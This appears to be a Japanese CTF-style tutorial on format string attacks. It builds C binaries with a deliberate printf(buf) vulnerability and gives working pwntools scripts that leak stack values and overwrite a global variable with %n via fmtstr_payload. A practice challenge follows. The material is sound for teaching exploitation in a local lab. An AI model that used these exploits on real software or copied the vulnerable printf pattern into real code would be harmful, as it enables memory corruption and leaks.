Pwntools を用いた Format String Attack
Format String Attack の基礎的な事項についてのハンズオン.
コードは github で公開
検証環境
- Windows 11 Home
- Ubuntu 24.04 (WSL)
環境構築
- pwntools が必要
- 具体的な環境構築は 前回記事 にまとめた
問題バイナリの作成
- 以下のように fSB (format string bug) を持つ問題バイナリを作成する
// gcc -g format_string.c -o ../build/format_string
// objdump -d ../build/format_string -M intel > dump.txt
#include <stdio.h>
int target = 0;
int win(void) {
puts("\n\nHello Format String Attack!");
}
int main(void) {
// setup
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
// main
printf("target address: %p\n", &target);
printf("input: ");
long secret_long = 0xdeadbeefabcdefff;
char buf[0x100];
fgets(buf, sizeof(buf), stdin);
printf(buf);
if (target == 0x12345678) {
win();
}
}
- 今回は
target変数を 0x12345678 に書き換え,win関数を起動することができればクリア
Format String 脆弱性について
c 言語の
printf関数は第一引数にフォーマット指定子付きの文字列を与えて, 第二引数以降に値や変数を与えることで, フォーマットされた文字列の出力が可能になるフォーマット指定子は
%s(文字列),%d(整数),%p(アドレス, 問題バイナリでは変数のアドレスが表示される) などがある今回の問題バイナリでは
printf(buf)というように, 変数が直接printfの第一引数に与えられている先ほど説明した
printfの第一引数と第二引数以降の関係があるため, ユーザー入力bufに対してフォーマット指定子を仕込むと, 第二引数以降を指定していなくても勝手にレジスタ・スタックを読み込みフォーマットされる
Stack Leak
- まずは FSB を用いてスタック上の情報のリークをやってみる
- 今回はスタック上に変数として宣言している
secret_longと,bufが保存されるため, それらのリークを行う pwntoolsを用いて, バイナリのローカル実行で%pの指定子を複数含むペイロードを送信する
from pwn import *
# set binary path
context.binary = "../build/format_string"
elf = context.binary
sh = process()
# get prompt text
text = sh.recvuntil("input:".encode())
print("prompt: ", text.decode())
# send payload
payload = "aaaaaaaa %p %p %p %p %p %p %p %p %p".encode()
sh.sendline(payload)
sh.interactive()
- 今回は先頭に "aaaaaaaa" をつけ, そのあとに "%p" を繰り返し置いた
- 対応する
printfの出力は以下のようになった
aaaaaaaa 0x7e39f8803963 0xfbad208b 0x7ffcb34b9cd0 0x1 (nil) 0x1e0000 0xdeadbeefabcdefff 0x6161616161616161
- "%p" の部分に第二引数以降の成分が表示されている
- 最初の方は
rsi, rdxレジスタなど引数に対応するレジスタの中身が表示され, そのあとにはスタックの要素が表示される - 上の例では 7 番目の要素に元のコードで
long secret_long = 0xdeadbeefabcdefff;と指定した long 型の変数の中身がリークしており, さらにそのあとの 8 番目の要素には今回の入力の先頭につけていたaaaaaaaaの 16 進数 0x61 の連番が現れている - 上記のように, FSB の脆弱性があればスタックにある情報のリークが可能となる
Overwrite
- 次に, グローバル変数の
targetの値を書き換えて,win関数の起動を行う
書き込みを行うフォーマット指定子
- CTF でよく使うフォーマット指定子として
%nがある %nはこれまで出力した文字長を引数のアドレスに書き込む, という特殊なフォーマット指定子で, FSB を用いたいろいろなものの書き換えに利用できる
書き換え
- FSB を用いたアドレス書き換えの手順は以下の通り
- 入力に対応する引数番号の確認
- 入力の先頭に書き換えたいアドレスを設置
- 文字数を調整したうえで対応する引数番号 k について
%k$nのように指定子を置いて書き込みする (k 番目の引数に書き込みとなり, k番目の引数の先頭は入力であらかじめ設置したアドレスとなるため, アドレスを指定した書き換えが可能となる)
- 実際にペイロードを作る時には簡単のため
pwntoolsが用意しているfmstr_payloadを利用する
from pwn import *
# set binary path
context.binary = "../build/format_string"
elf = context.binary
sh = process()
# get target address
address_prompt = sh.recvuntil("address:".encode())
print(address_prompt.decode())
target_addr = int(sh.recvline().decode(), 16)
print("received address:", hex(target_addr))
# get prompt text
text = sh.recvuntil("input:".encode())
print("prompt: ", text.decode())
# send payload
address_dict = {target_addr: 0x12345678}
payload = fmtstr_payload(8, address_dict, numbwritten=0, write_size="byte")
sh.sendline(payload)
sh.interactive()
fmstr_payloadでは第一引数に入力に対応する引数番号 (今回の場合であれば前節で調べた 8 が該当する) を与え, 第二引数に書き換えたいアドレスと値の辞書を設置,numbwrittenにペイロードの時点で前に何文字入力済みの文字があるか (今回はなし),write_sizeに出力文字数に関するパラメータ (基本は"byte" で良い, フォーマット指定子の "%n, %hn" などに対応し, 入力可能な文字数が制限されている場合に変える場合もある) を表す動作結果は最後に以下が表示され,
win関数が起動したことが確認できる
Hello Format String Attack!
練習問題
- 以下の問題で
win関数を起動してください
// gcc -g format_chal.c -o ../build/format_string
// objdump -d ../build/format_string -M intel > dump.txt
#include <stdio.h>
#include <stdint.h>
#include <sys/random.h> // for secret value, you doesn't need to hack this
void win(void) {
puts("\n\nHello Format String Attack Lab!");
puts("Lab Clear!!!!");
}
uint64_t key = 0;
int main(void) {
// setup
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
// secret generation
uint64_t secret; // random 64-bit value
if (getrandom(&secret, sizeof(secret), 0) != sizeof(secret)) {
return 1;
}
// main
printf("key address: %p\n", (void *)&key);
// fsb
printf("input1: ");
char buf[0x100];
fgets(buf, sizeof(buf), stdin);
printf(buf);
printf("input2: ");
fgets(buf, sizeof(buf), stdin);
printf(buf);
if ((secret ^ key) == 0xdeadbeef12345678) {
win();
}
}
この問題では
secretに格納された乱数とkeyというグローバル変数との XOR の値が 0xdeadbeef12345678 となった場合にwin関数が起動されクリアとなるgithub に問題ファイルと Makefile を用意しているため, ローカル環境において pwntools の
processで起動して解くことを想定実際の CTF 等では
secretの値だけ省略された問題ファイルが配られたりするが, 今回は問題ファイルのみリモートサーバーがないため乱数生成でsecretを生成している
Hello Format String Attack Lab!
Lab Clear!!!!
- 上のような出力がされればクリア
ヒント
key変数のアドレスが渡されているため, これを書き換えて if 文の中に入ることを目指す- 問題を解くためには
secretの値を FSB でリークする必要がある